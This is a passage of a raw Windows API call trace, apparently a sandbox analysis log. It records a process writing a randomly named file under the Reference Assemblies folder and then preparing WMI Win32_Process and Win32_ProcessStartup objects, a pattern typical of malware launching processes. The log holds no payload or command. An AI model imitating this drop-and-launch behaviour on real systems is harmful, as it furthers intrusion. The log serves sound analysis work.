bFailIfExists=0) returned 1 [0086.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\24dbde2999530e", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\24dbde2999530e", lpFilePart=0x0) returned 0x44 [0086.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0086.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\24dbde2999530e" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\24dbde2999530e"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2a0 [0086.720] GetFileType (hFile=0x2a0) returned 0x1 [0086.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0086.720] GetFileType (hFile=0x2a0) returned 0x1 [0086.720] WriteFile (in: hFile=0x2a0, lpBuffer=0x29a8ca8*, nNumberOfBytesToWrite=0x3ca, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x29a8ca8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x3ca, lpOverlapped=0x0) returned 1 [0086.721] CloseHandle (hObject=0x2a0) returned 1 [0086.723] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0086.723] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0086.723] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0086.723] IUnknown:Release (This=0x111f638) returned 0x1 [0086.725] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f83d0) returned 0x0 [0086.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f83d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0086.725] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f83d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3c180) returned 0x0 [0086.725] WbemDefPath:IUnknown:Release (This=0x11f83d0) returned 0x0 [0086.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3c180) returned 0x0 [0086.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0086.725] WbemDefPath:IUnknown:AddRef (This=0x1bf3c180) returned 0x3 [0086.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0086.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0086.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f8290) returned 0x0 [0086.726] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8290, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.726] WbemDefPath:IUnknown:Release (This=0x11f8290) returned 0x3 [0086.726] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0086.726] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0086.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0086.726] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x2 [0086.726] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x1 [0086.726] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0086.726] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0086.726] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c180, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3c180) returned 0x0 [0086.726] WbemDefPath:IUnknown:AddRef (This=0x1bf3c180) returned 0x3 [0086.726] WbemDefPath:IUnknown:Release (This=0x1bf3c180) returned 0x2 [0086.726] WbemDefPath:IWbemPath:SetText (This=0x1bf3c180, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0086.726] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.726] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0086.726] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c180, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0086.726] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c180, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.726] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c180, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.726] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c180, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.726] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0086.727] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0086.727] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0086.727] IUnknown:Release (This=0x111f638) returned 0x1 [0086.728] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f8510) returned 0x0 [0086.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f8510, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0086.729] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f8510, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3c240) returned 0x0 [0086.729] WbemDefPath:IUnknown:Release (This=0x11f8510) returned 0x0 [0086.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3c240) returned 0x0 [0086.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0086.729] WbemDefPath:IUnknown:AddRef (This=0x1bf3c240) returned 0x3 [0086.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0086.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0086.729] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f8490) returned 0x0 [0086.730] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8490, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.730] WbemDefPath:IUnknown:Release (This=0x11f8490) returned 0x3 [0086.730] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0086.730] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0086.730] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0086.730] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x2 [0086.730] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x1 [0086.730] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0086.731] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0086.731] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c240, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3c240) returned 0x0 [0086.731] WbemDefPath:IUnknown:AddRef (This=0x1bf3c240) returned 0x3 [0086.731] WbemDefPath:IUnknown:Release (This=0x1bf3c240) returned 0x2 [0086.731] WbemDefPath:IWbemPath:SetText (This=0x1bf3c240, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c240, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c240, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c240, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c240, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c240, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3c240, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c240, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0086.731] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.731] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0086.731] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0086.731] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0086.731] IUnknown:Release (This=0x111f638) returned 0x1 [0086.733] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11f81d0) returned 0x0 [0086.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f81d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0086.733] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f81d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3c3c0) returned 0x0 [0086.733] WbemDefPath:IUnknown:Release (This=0x11f81d0) returned 0x0 [0086.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3c3c0) returned 0x0 [0086.733] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0086.734] WbemDefPath:IUnknown:AddRef (This=0x1bf3c3c0) returned 0x3 [0086.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0086.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0086.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11f8210) returned 0x0 [0086.734] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f8210, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0086.734] WbemDefPath:IUnknown:Release (This=0x11f8210) returned 0x3 [0086.734] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0086.734] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0086.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0086.734] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x2 [0086.734] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x1 [0086.734] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0086.734] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0086.734] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3c3c0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3c3c0) returned 0x0 [0086.734] WbemDefPath:IUnknown:AddRef (This=0x1bf3c3c0) returned 0x3 [0086.734] WbemDefPath:IUnknown:Release (This=0x1bf3c3c0) returned 0x2 [0086.734] WbemDefPath:IWbemPath:SetText (This=0x1bf3c3c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0086.735] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3c3c0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0086.735] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c3c0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0086.735] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3c3c0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0086.735] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0086.735] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0086.735] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0086.735] IUnknown:Release (This=0x111f638) returned 0x1 [0086.736] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11f7f70) returned 0x0 [0086.736] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f70, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0086.736] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f7f70, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11f7f90) returned 0x0 [0086.736] WbemLocator:IUnknown:Release (This=0x11f7f70) returned 0x0 [0086.736] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11f7f90) returned 0x0 [0086.736] WbemLocator:IUnknown:QueryInterface (in: This=0x11f7f90, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0086.737] WbemLocator:IUnknown:AddRef (This=0x11f7f90) returned 0x3 